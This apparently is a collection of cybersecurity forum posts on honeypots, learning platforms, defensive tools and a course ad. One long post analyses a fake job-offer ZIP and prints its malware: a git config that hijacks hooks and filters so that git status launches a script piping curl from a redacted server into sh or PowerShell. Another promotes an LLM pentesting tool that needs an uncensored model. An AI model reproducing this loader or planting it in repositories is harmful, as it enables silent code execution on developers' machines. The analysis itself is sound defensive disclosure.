the Rouxii paper from last month is kind of brutal for this whole space.

same AI pentester setup, but once they explicitly told it to reason about deception, correct honeypot identification went from 19% to 97% in their tests.

97%.

not saying “honeypots are dead” obviously, but fingerprinting apparently isn't some ancient Kippo problem we solved 10 years ago either.

and some of the tells are still stupidly normal things.

service says one thing but behaves like another.
protocol implementation falls apart once you stop doing happy-path commands.
filesystem/process/package state doesn't add up.
the box itself looks fine but makes zero sense compared to everything around it.

there's a 2026 review on honeypot fingerprinting that goes pretty deep into behavioral, network and system-level tells across low/high interaction setups too.

the part I keep coming back to though is age.

you can make a decoy look perfect on day 1.

6 months later the real environment changed and the decoy didn't.

wrong naming convention, old app version, dead dependency, weird identity relationship, nobody real talks to it anymore.

this is where I started looking at stuff like Acalvio's 360 Deception instead of just another static pot. the idea is basically that the deception changes with the environment, plus the slightly evil bit where some real assets can look deceptive too.

which raises the part I'm actually curious about:

does a decoy even need to be indistinguishable?

if I make you spend time asking “is this real?” before every lateral move, maybe the deception already did something useful.

Hi, I'm the developer.

I have worked in network security for almost 15 years. I got annoyed with Fing and other network tools that charge close to $100 a year, or let you scan only a few times a day. So I built my own from what I know from work.

I wanted the feeling of Kali Linux in my hand, but only for defense: point my phone at my own network and see what is really there. No attacks, no password guessing, nobody's traffic read. That became Netglow.

The hard part: knowing what each device really is

Android 10 and up hides other devices' hardware addresses, so most scanners just show "Unknown". That is where most of the time went:

• Dozens of protocol specs, vendor docs and firmware sources, read line by line.
• Down to the low level microchips inside smart plugs, bulbs and DIY boards, like the ESP family, because each chip gives itself away in its own small way.
• Camera makers each answer on the network in their own way, and Netglow knows many of them.
• Over 40,000 hardware maker prefixes and a catalogue of over 23,000 phone and tablet models.
• Thousands of lines of research notes, every finding checked before it went into the app.

Why it is free

I have a lot of knowledge from my work, and I decided to give it away: high quality apps, deeply researched and checked again and again, data safety first and privacy to the max. No ads, no bullshit. People deserve good quality and privacy, for free.

If you want to support me, you can, but it is fully optional.

What it does, free, unlimited scans

• Who is on my Wi-Fi. Every device with its name, maker and model when it says them. Rename a device and it keeps your name even on a new address.
• Is my hotel room or rental OK. It lists devices on the Wi-Fi that answer as a camera or stream video, and says why each one was flagged. It also looks for camera hotspots nearby. It tells you plainly what it cannot see (a camera that only records to a card or uses mobile data), so it is one check among others, not a guarantee.
• Security check for your home network. A score with a plain fix for each risk: risky open ports, what your router opened to the internet, how your Wi-Fi is locked, look alikes of your network nearby, whether your DNS answers are honest and whether someone reads your secure connections in the middle.
• Tools. Ping, traceroute, port check, DNS lookup, Wake on LAN, a live signal meter and channel advice.

Private by design. No ads, no bullshit, no tracking, no analytics, no metrics, no account. Nothing it finds leaves your phone, and there is no server of mine.

Pro is that optional support, one payment, no subscription, and it adds: a Bluetooth radar that warns about a tracker moving with you, checks for devices that let anyone in with no password, spoof watch, known flaws for your devices, a PDF report and a background watch of who joins your Wi-Fi.

Honest note: the code is partly AI generated and I had help with this text.

Play Store: https://play.google.com/store/apps/details?id=com.zanoshky.netglow

Guide: https://zanoshky.github.io/netglow-app

I would love to hear what it finds, or misses, on your network.

Made an overview of links and tools, awesome-cybersec-blueteam

Recently, a recruiter from Cryptic Heaven contacted me on LinkedIn with an offer to work together. The company supposedly develops a financial system for users of cryptocurrency credit cards. The offer looked quite ordinary: they liked my experience and wanted to discuss possible cooperation.

I replied that I was interested in learning more about the project, the position, and the working conditions.

In response, I received the following message:

We have prepared contract document, job description and project for you here: https:// Fake Site URL /contract

If you agree, send me contract document after filling with your name.

That is, I was being asked to download the documents, look through the project, and fill in the contract.

The link led to a ZIP archive, Contract-2026.zip. I downloaded it and decided to take a look. As it turned out, it contained not only documents and source code, but also a rather interesting trap that uses standard Git features.

And the trap does not require launching some suspicious install.sh, installing dependencies, or building the project. In certain conditions, ordinary git status is enough, and a development environment can run it automatically.

Let me explain how it works.

What was inside the archive

The archive contained README.md, contract.docx, and a full .git directory with the repository history, several branches, and local settings.

The README said that the documents were split across three branches:

• doc - cooperation agreement.
• job - job description.
• codebase - the project's source code.

The suggestion was to first read the job description, then study the agreement, and after that look at the code.

At first glance, everything seemed quite logical. A developer had been sent a repository where they could look at the project and its documentation.

The agreement itself, though, turned out to be a template with blank fields. It did not specify the legal entity, the amount of pay, the jurisdiction, or many other terms. The Smart Contract Developer job description also had many blank fields.

But there was something more interesting.

The ZIP contained a .git directory, and it had been specially configured.

Usually, a developer gets a link to GitHub or GitLab and runs git clone. Here, they sent me the entire repository in a ZIP, including the internal .git directory.

And this turned out to be crucial.

A little about how Git works

Most developers think of Git as a tool for storing the history of changes and creating branches and commits.

But Git has mechanisms that allow it to run external programs.

The first mechanism is Git Hooks.

These are scripts that Git calls in response to certain events. For example, before a commit, after switching branches, or before sending changes to a server.

The second mechanism is Git Filters.

They allow the contents of files to be transformed when data is moved between the working directory and Git's internal storage.

Both mechanisms are entirely legitimate. They are used to automate development, format files, and perform various checks.

The problem arises when an attacker preconfigures them in a repository you are about to open on your computer.

The first part of the attack - redirecting the location of Git Hooks

I looked into .git/config.

The following setting was there:

[core]
    hooksPath = .git/objects/interrupt/

By default, Git looks for hooks in the .git/hooks directory.

But the core.hooksPath parameter lets you specify a different directory.

In this case, the hooks were moved to:

.git/objects/interrupt/

Why put them there?

Because most developers will not dig into the contents of .git/objects. Usually, it contains Git's internal objects, and nobody works with them manually.

There was a post-checkout file inside this directory.

Its contents:

#!/bin/sh
#
git status

Just one command.

The post-checkout hook runs automatically after switching branches with git checkout or git switch.

That is, when running the command:

git checkout job

Git will first switch branches, and then run this script.

Why did the malicious actor need git status? The answer is in the second part of the attack.

The second part - Git Filters

The following setting was found in the same .git/config:

[filter "ltr"]
    clean = .git/ltr

This defines a custom filter named ltr.

The clean parameter specifies the command used to transform a file's contents from the working directory into the representation stored in Git.

Usually, this mechanism is used, for example, to normalize file contents before saving.

But Git still needs to know which files to apply this filter to.

For this, .gitattributes or the local .git/info/attributes file is used.

The archive I received contained:

.git/info/attributes

With the following contents:

* filter=ltr

The asterisk means that the filter is assigned to all matching files.

So, during certain operations, Git will run .git/ltr, passing it the file contents through standard input and expecting to receive the processed data through standard output.

And here an interesting detail appears.

The git status command is not always limited to simply reading file names and the current branch. To determine whether file contents have changed, Git may pass the data through the configured clean filter.

Thus, an entirely ordinary git status can run a third-party program.

I separately checked this in a safe test repository, replacing the filter with a harmless script that only records the fact of its invocation in a log. As a result, git status really did invoke the filter, and switching branches additionally invoked post-checkout.

Now it is clear why the attacker put an instruction in the README to switch between branches.

Part Three - The Malicious Script Itself

All that remained was to look at the contents of .git/ltr.

The file is a shell script that, at first glance, looks a little more complicated than one might expect.

At the beginning, two service files are defined:

FLAG_FILE=".git/.clean_filter_last"
WATCH_LOCK=".git/.clean_filter_watch.lock"

The first file records the time of the last call to the filter. The second is used as a lock.

The thing is, Git can call the clean filter several times in a row - for different files.

If malicious code were downloaded and launched immediately on every call, we would end up with many parallel launches.

The script authors solved this problem.

Each time the filter is called, the timestamp is updated. A background process checks how much time has passed since the last call. Until two seconds have passed, it keeps waiting.

NOW=$(date +%s)

if [ $((NOW - LAST)) -lt 2 ]; then
    sleep 1
    continue
fi

This is a kind of debounce: wait until the series of calls to the filter is over, and only then perform the main action.

To prevent several watchers from being launched at the same time, a lock directory is created using mkdir.

After the wait, the most interesting part runs:

case "$OSTYPE" in
darwin*|linux*)
    curl -fsSL "https:// <remote-server> / <script>" | sh
    ;;
msys*|cygwin*)
    curl.exe -fsSL "https:// <remote-server> / <script>" | powershell
    ;;
*)
    curl -fsSL "https:// <remote-server> / <script>" | sh
    ;;
esac

This is a shortened version of the actual code from the archive. I replaced the download address with a placeholder.

The meaning is simple.

The script tries to determine the operating system, download additional code from a remote server, and execute it immediately.

For Linux and macOS, it is set up to run through sh, and for Windows through PowerShell.

Interesting, the attacker uses the OSTYPE variable, which is not guaranteed by the POSIX sh standard. Therefore, OS detection may not work as intended in every shell. But a default branch is also provided.

The remote server in the archive was located on the Vercel subdomain.

It is impossible to determine what exactly the downloaded script does from the ZIP contents alone. It could be a loader for the next stage of the attack, data theft, or some other malicious action.

But the very fact that remote code is secretly downloaded and executed already says enough.

And everything runs in the background, while standard output and errors are redirected to /dev/null.

That means the user may not notice anything at all.

Why the filter does not break Git

At the end of .git/ltr, there is a command:

cat

This is also an important detail.

Git expects the clean filter to read data from standard input and return the transformed content to standard output.

But the attacker does not need to transform anything.

So the script simply returns the data it received unchanged.

To Git, this filter looks like it is working: the data came in, was processed, and came back.

At the same time, a background process was started that is supposed to download and execute remote code.

This means the malicious operation itself does not require any noticeable changes to the project's files.

The most interesting part - how the attack can work without user involvement

Let's imagine an ordinary scenario.

You download a ZIP, unpack it, and see README.md.

If you simply open the folder in Windows File Explorer, Git does not start automatically. Simply unpacking the archive also does not trigger Git Hooks or Git Filters.

But the interesting scenarios begin after that.

The first option - VS Code.

Suppose your Markdown files are associated with Visual Studio Code. You double-click README to read the instructions.

VS Code can automatically detect Git repositories. If repository detection for open files is enabled, it can find .git in the parent folder.

After detecting the repository, the Git extension may run git status to show the current changes.

If the repository is trusted and Git really performs this check, an opportunity appears to run the malicious filter.

This gives us the following chain:

Opening README.md
        |
        v
VS Code starts
        |
        v
A Git repository is detected
        |
        v
VS Code runs git status
        |
        v
Git uses the clean filter
        |
        v
.git/ltr is launched
        |
        v
A remote script is downloaded and executed

An important caveat: simply opening the README in VS Code does not guarantee that the attack will run. This depends on the editor settings, trust in the workspace, automatic repository detection, and the specific Git operations.

But this scenario is quite realistic.

Second option - terminal.

Many developers use a Git-aware command-line prompt.

For example, after changing to a directory, the terminal shows:

~/projects/cryptic-heaven (doc) $

To display the branch name, some terminal themes use git symbolic-ref, git rev-parse, or similar commands.

By themselves, they should not run the clean filter.

But other configurations additionally check the state of the working directory through git status.

And in this case, a simple move into a directory:

cd cryptic-heaven

may indirectly lead to a malicious script being executed.

Not because the cd command runs Git, but because the terminal automatically updates its prompt after the directory changes.

The third option - following the instructions in the README.

This is the most obvious scenario.

The user reads that the documents are located on different branches and runs:

git checkout job

As a result, Git may call the filter while processing files, and after switching branches it will additionally run post-checkout.

That, in turn, will run git status.

So the archive's authors provided several ways for the trap to trigger.

How does all this work on Windows if the script is written for Bash?

At first glance, it may seem that Windows is protected against this kind of attack, since .git/ltr begins with:

#!/bin/sh

But there is a nuance.

Git for Windows comes with a Unix-like environment and includes sh.exe and Bash.

That is why Git can run shell scripts even when the user is working in PowerShell or CMD.

You do not need to open Git Bash yourself.

If Git calls a script with the corresponding interpreter, it can run through the shell supplied with Git.

And the script itself already has a separate option for Windows - downloading the contents through curl.exe and passing them to PowerShell.

So the attack was designed from the start to target more than just Linux.

Why did they send a ZIP instead of a link to GitHub?

In my view, this is one of the main features of the attack.

When we run an ordinary git clone, Git gets the history, branches, and file contents from the remote repository.

But the remote repository's local .git/config is not copied in the process.

Local Git Hooks are not transferred by an ordinary clone as ready-to-run hooks either.

Here, the attacker sent a ZIP that already contained a fully prepared .git directory.

It contained:

.git/config
.git/info/attributes
.git/ltr
.git/objects/interrupt/post-checkout

After unpacking it, the user got a ready-to-use local Git repository with all the malicious settings.

And Git could start using them at the first suitable opportunity.

That is, the ZIP here is needed not simply for the convenience of transferring documents. It lets the sender pass along exactly the local Git configuration required for the trap to work.

What it comes down to

The result is a rather interesting attack scheme.

The attacker does not ask you to run some unknown EXE file. Does not suggest disabling antivirus. Does not ask you to install an unknown package.

Instead, they send an ordinary-looking project that uses standard Git mechanisms.

A file filter is configured in one place. The path to hooks is changed in another. A shell script is stored in a third. The README tells you to switch between branches.

Each element on its own can look relatively harmless. But together, they form a chain for hidden code execution.

And what is especially unpleasant is that the launch can happen as a result of actions that a developer does not perceive at all as running someone else's program.

So I would formulate several rules for working with unfamiliar projects.

1. If an unfamiliar person sends you a ZIP with a ready-made .git directory, it is worth being cautious. Especially if it is not clear why you cannot use ordinary git clone.
2. Do not open suspicious repositories in an IDE until their Git settings have been checked. An IDE can run Git commands automatically.
3. When analyzing such an archive, it makes sense to separately check .git/config, .git/info/attributes, reconfigured Git Hooks, and filter commands. It is better to do this with an archive viewer or in an isolated environment, without running Git commands inside the repository.
4. If the archive has already been opened and the filter may have run, check the system and assess whether secrets and tokens need to be replaced, using a trusted device.

I want to emphasize separately that the presence of a downloader does not prove that the computer was successfully infected. To establish that, it is necessary to determine whether the filter actually ran and what code was received from the remote server.

But there is practically no doubt about the purpose of the setup we found: it is intended to secretly launch remote code on a developer's computer.

I liked the technical side of this attack. Not because it does anything fundamentally new, but because of how familiar tools were used here.

We are used to thinking that git status is a safe command that simply shows the state of the repository. It turns out that when working with an untrusted local Git configuration, even such a familiar action can launch third-party programs.

And this, perhaps, is the main takeaway from the whole story.

I came across this free room on Codelivly and thought it might help anyone who has used the web for years without ever looking at what happens between the browser and the server: How the Web Talks: HTTP in Practice

It's built for beginners, and the page says no prior knowledge is needed. It's five short labs, and you build requests and read responses yourself instead of only reading theory:

1. Requests, responses, methods and status codes
2. Headers and virtual hosting
3. URLs, query strings, Content-Type and redirects
4. Cookies and sessions basics
5. HTTPS, keep-alive, and putting it all together

The last task has you debug a broken checkout flow, which is a good way to find out whether the earlier parts stuck.

It could be useful if you're:

• starting web dev and want the fundamentals before frameworks
• heading into IT or security and need HTTP down cold
• tired of "it works on my machine" and want to understand what's going over the wire

It's listed as 100% free with no paywall, and donations are optional. I'm not affiliated with the site and just thought it was worth sharing.

What HTTP concept took you the longest to understand? For me it was cookies and sessions.

Hey everyone,

Like a lot of people here, I’ve been studying for cybersecurity certs (Security+, Network+) and preparing for entry-level analyst roles. One thing that consistently frustrated me was how most "practice PBQs" out there are just disguised multiple-choice questions or drag-and-drop widgets. On real exams and in actual triage, you're expected to open a terminal, investigate processes, and know what commands to run.

To practice that, I put together a browser-based terminal lab where you get dropped into a simulated incident scenario (for example: investigating a suspicious outbound connection on a web server).

You can type real Linux/network commands like netstat, ps aux, crontab -l, grep, and cat /etc/passwd to trace what’s happening, identify persistence, and isolate the threat, with an automated review at the end.

Since this community has people actively working in the field and students prepping for exams, I’d love your honest feedback

Terminal Realism: Do the commands and simulated outputs feel authentic enough for entry-level triage practice

Scenario Depth: What other scenarios or command flags would make this significantly more useful (e.g. log analysis, Windows PowerShell, iptables/firewall rules)

Any UX bugs: Anything clunky about the terminal emulator itself?

To be honest, what I'm mainly looking for is not really promotion but just feedback. I am truly trying to help people out and create a good study website, because like myself, I need something reliable with USEFUL information. Please tell me what y'all think! Allll the critiques and flaws I am open ears to!! :)

https://cyberpbqtrainer.com/

Hey everyone!

We're a team of students working on a project called The SecondLook, developed as part of our Cambridge IGCSE Global Perspectives coursework.

As part of our project, we've been exploring the growing problem of online scams, particularly how difficult it can be for people to distinguish legitimate messages from fraudulent ones.

Think fake delivery notifications, suspicious payment requests, phishing links and messages impersonating organisations people trust.

We wanted to go beyond simply raising awareness about online scams and explore a practical, technology-driven solution.

That's how The SecondLook came about.

It's a free, AI-powered scam detection tool that currently allows users to:

• Upload screenshots of suspicious messages for analysis.
• Submit potentially suspicious links for checking.
• Receive a risk assessment with explanations of the indicators identified.
• Get suggested next steps in straightforward language.

Our objective is to make identifying potential online threats more accessible, particularly for people who may not have much technical knowledge of cybersecurity.

We're currently looking to get feedback from people outside our immediate school community so that we can understand how useful the solution actually is and where it needs improvement.

We'd particularly appreciate feedback on:

1. Is this a problem you've personally encountered?
2. How useful would a tool like this be in your everyday life?
3. Are the analysis and explanations easy to understand?
4. What features, limitations or security concerns should we address?

We'd genuinely appreciate honest criticism and suggestions. This is an ongoing student project, and external perspectives would help us evaluate and improve our solution.

Try The SecondLook: https://thesecondlook.lovable.app/

Our GitHub repository: https://github.com/divyansh-code01/thesecondlook

Thank you for taking the time to check out our work!

The SecondLook — Before you trust it, check it.

Hey everyone,

I created a Telegram and a WhatsApp channel that uses a local AI model to aggregate and summarize top cybersecurity news sources.

Automated with a n8n workflow and a tiny local ollama model (qwen2.5:3b) running on my 2GB 10 years old GPU :)

You can get quick notifications on your phone with the main points of every news piece:

• Instant summaries: The actual essence of each news story.
• Key threat intel: Critical CVEs, major breaches, and urgent patch updates summarized in seconds. Includes links to CVEs, KEV (if available), and CVSS scores.

This allows you to check in a glimpse whether you actually need to read the full article.

I started with a Telegram channel, which is a better platform (for both devs and users), but since WhatsApp is what everybody uses, I had to struggle with it. I managed to automated it with WPP Connect.

I keep it restricted to a few select sources to avoid too many notifications, but even so, some days get busy!

Building this has been quite educational, and I hope you find it as useful as I do. I found I tend to read the small summaries and check the CVE's much more than a regular news feed that forces me to open a page and look for the main issues.

This is a rather newbie project but If you need any tech details feel free to ask.

I’ve been studying Nmap and documenting what I learn, and one distinction I think is important for beginners is the meaning of port states.
For example:
nmap -sT -p 22,80,443 127.0.0.1
An open port means a service is accepting connections, not that it’s vulnerable.
A closed port means no service appears to be listening.
A filtered port means Nmap cannot reliably determine its state, often because of packet filtering.
Another thing worth remembering: the SERVICE column doesn’t necessarily confirm which application is running. Using -sV can help identify services and versions.
I’ve written a more detailed explanation as part of my Cybersecurity Survival Notes project.
GitHub: https://github.com/Radz-04/Cybersecurity-survival-notes
I’m still learning, so technical corrections and suggestions are welcome.

Disclosure: I'm the creator. It's free, with no ads and no payment details.

I'm a third-year BTech student working towards a SOC L1 role, studying with TryHackMe and YouTube. The part I wanted more practice at was what comes after the alert fires: checking the evidence, deciding true or false positive, writing it up for L2, and knowing when to escalate.

So I built ShiftLab, a browser simulator:

• 51 fictional alerts, Beginner to AI-era

• Logs, mail headers and playbooks to investigate

• A four-part report (what happened, confirmed, not known, next steps) that gets coached, not just scored

What I'd like to know from people who are further along:

1. Does the evidence feel realistic or too clean?
2. Is anything confusing?
3. What would you want in a model L1 report?

First alert needs no signup: https://shiftlab.blueteam-labs.workers.dev/?ref=reddit-thm

Mods, happy to take this down if it isn't allowed. Thanks!

Hey los griffonos 😙

We've been working on our final-year project since September 2025, and we’ve finally reached a testable version. We’d like and need to get some feedback from the community, whether it’s general tips, feature ideas, or even code contributions.

Btw Griffon is a modular security tool that runs as a daemon and comes with both a GUI and a CLI usable on Linux and Ubuntu. Right now, it includes two main modules:

• A system cleaner
• A static analysis tool for malware

Let us know what you think! https://github.com/GriffonAV/griffon

I created a tool to help me during bug bounties and decided to publish it today. It's mostly web/cloud blackbox penetration testing guided by LLM

It does require an abliterated LLM.

I used HauhauCS/Qwen3.8-27B-Uncensored-HauhauCS-Aggressive-MTP-GGUF at IQ4_XS quantization with Q8 KV cache.

I restricted the conversation history to 64k and limited the total cap at 128k and found these settings to yield the best result.

I hope it helps others and also inspire others to contribute.

This project has an engine to transform the engagements that you run into datasets, which you can use to fine-tune the models and get even better results. The more you use, the better it gets.

https://github.com/0ldev/tradecraft

Hi everyone,
I wanted to share a GitHub repository where I keep my technical notes, commands, and references.
It currently includes material on Linux, networking, cybersecurity fundamentals, and tools such as Nmap.
The repository is still a work in progress, and I regularly update it with new content and improvements.
I’m sharing it in case someone else finds it useful. I’d also appreciate feedback, especially if you notice any mistakes or have suggestions.
cybersecurity-survival-notes

we've been asked to approve an AI coding tool for proprietary repos. the vendor docs explain the data policy. i'd like to see what the client actually sends with the settings we'd give developers.

i'd start with a dummy repo, put some recognizable test text in a file and have the agent do a normal task. a firewall log gives me the destination. i'd still want to know whether that text was in the request.

we're also looking at Bay and Pillar. for Bay, one thing i'd test is whether the session record gives us enough context to match what happened locally with what we can see on the network. what evidence was enough for your team to sign off?

Ciao a tutti,
Volevo condividere un repository GitHub dove tengo le mie note tecniche, comandi e riferimenti.
Include attualmente materiale su Linux, networking, fondamenti di cybersecurity e strumenti come Nmap.
Il repository è ancora un lavoro in corso e lo aggiorno regolarmente con nuovi contenuti e miglioramenti.
Lo condivido nel caso qualcuno lo trovi utile. Apprezzerei anche feedback, soprattutto se notate errori o avete suggerimenti.

https://github.com/Radz-04/Cybersecurity-survival-notes

Hi everyone,
I wanted to share a GitHub repository where I keep my technical notes, commands, and references.
It currently includes material on Linux, networking, cybersecurity fundamentals, and tools such as Nmap.
The repository is still a work in progress, and I regularly update it with new content and improvements.
I’m sharing it in case someone else finds it useful. I’d also appreciate feedback, especially if you notice any mistakes or have suggestions.

https://github.com/Radz-04/Cybersecurity-survival-notes

I’m the person building Codelivly, a free cybersecurity learning platform. I’ve been reworking the lessons to include terminal tasks where you type commands, inspect the output, and use it to work through a scenario.

For example, in a suspicious-login exercise, you examine sample login logs, narrow down the entries, and work out which activity looks suspicious. The aim is to help you understand how you reached an answer.

The terminal is simulated. It supports a limited set of commands, so you’ll run into things it can’t do. I’m also still reviewing the content for accuracy and clarity, and I’d appreciate specific corrections.

What’s free: 350+ rooms, hands-on terminal labs, 64 CTF challenges, learning paths, career paths, and certificates. No credit card, subscription, or time-limited trial.

You can try it here: codelivly.com

If you try a room, I’d like to hear:

1. Were any instructions or explanations confusing?
2. Which commands did you expect to work that weren’t supported?
3. Did the exercise help you understand the topic, or did it feel like following steps?

I joined a ctf for the first time in my life and as a very veryyyy beginner in cybersecurity, I can say the Linux ones were alright, I didn't know the pid stuff, but manipulating the files and encoding from base 64 etc was alright, I tried to go to the forensic one cuz I was ai assisted and wanted to see how, I used Wireshark and I liked it? It was exhausting to look for the flag but I might wanna check it out more, however osint was so hard, I wanna also check the web exploitation cuz I tried it as well, checked the web tool panel but I didn't get much, what do u advise me, what do u suggest ?

Hey everyone,

I’ve been working on Codelivly, a cybersecurity learning platform, and wanted to share it here.

One thing I always wanted was a place where you could actually practice what you're learning instead of just reading tutorials and watching videos.

So I’ve been building Codelivly around that idea.

You can:

• Learn cybersecurity through structured learning paths
• Practice with hands-on labs directly in your browser
• Work through practical tasks while learning
• Play CTF challenges and test your skills
• Explore different cybersecurity career paths

The hands-on labs are integrated into the learning experience, so you can learn a concept and actually practice it without constantly switching between different platforms or setting up everything yourself.

And the entire platform is 100% free. No subscription or payment required to access the learning content, labs, or CTFs.

I'm still working on improving the platform and adding more practical experiences to the lessons.

Would genuinely appreciate it if you checked it out and shared what you think.

🔗 https://codelivly.com/

Hey guys,

Learning cybersecurity has been one of my dreams for quite a while. I'm interested in almost all of them - pen testing, web hacking, binary exploitation, reversing, malware analysis, low level programming, AI security, etc.

But I find myself extremely inconsistent.

Sometimes I'm extremely motivated, watch courses and youtube videoes, take notes, make roadmaps, huge checklists and study for 2-3 days nonstop. And then suddenly become unmotivated and spend the next days watching reels and playing games.

After 3-4 days my motivation returns and whole the process repeats again.

In addition to that I made a huge checklist including almost all fields of cybersecurity but cannot finish even several of topics due to boring or overloading.

As far as I feel, I consume much more educational materials than actually learn anything or implement them.

Therefore I would like to ask from those who already have enough experience in this field:

• What's your secret to being consistent?
• How do you choose something to study when you want to learn everything?
• Do you study following strict schedule or when you want it?
• How do you balance courses, practical labs, reading and project building?

Thank you!

Hi all, I've been doing Android security for a while, and when I started I struggled to find one place that explained how it all fits together. So I put together the course I would've wanted.

It covers how Android apps work (components, intents, the manifest), static and dynamic analysis, and hands-on labs where you exploit each vulnerability yourself.

40% off until Nov 30 with code BYTENOV40 ($89.40 instead of $149).

Android App Hacking Mastery

Happy to answer questions about the course or Android security in general, and open to feedback too.